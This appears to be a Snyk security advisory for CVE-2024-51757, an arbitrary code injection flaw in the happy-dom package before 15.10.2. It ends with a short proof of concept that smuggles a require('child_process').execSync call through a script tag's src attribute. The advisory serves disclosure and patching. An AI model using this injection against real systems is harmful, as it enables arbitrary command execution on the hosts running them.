Arbitrary Code Injection Affecting happy-dom package, versions <15.10.2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (12th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-HAPPYDOM-8350065
- published 7 Nov 2024
- disclosed 6 Nov 2024
- credit kevin-mizu
Introduced: 6 Nov 2024
New CVE-2024-51757 Open this link in a new tabHow to fix?
Upgrade happy-dom
to version 15.10.2 or higher.
Overview
happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the SyncFetchScriptBuilder
class due to improper input sanitization. An attacker can exploit this vulnerability by passing malicious content into the src
attribute of the <script>
tag.
PoC
const { Window } = require("happy-dom");
const window = new Window();
const document = window.document;
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);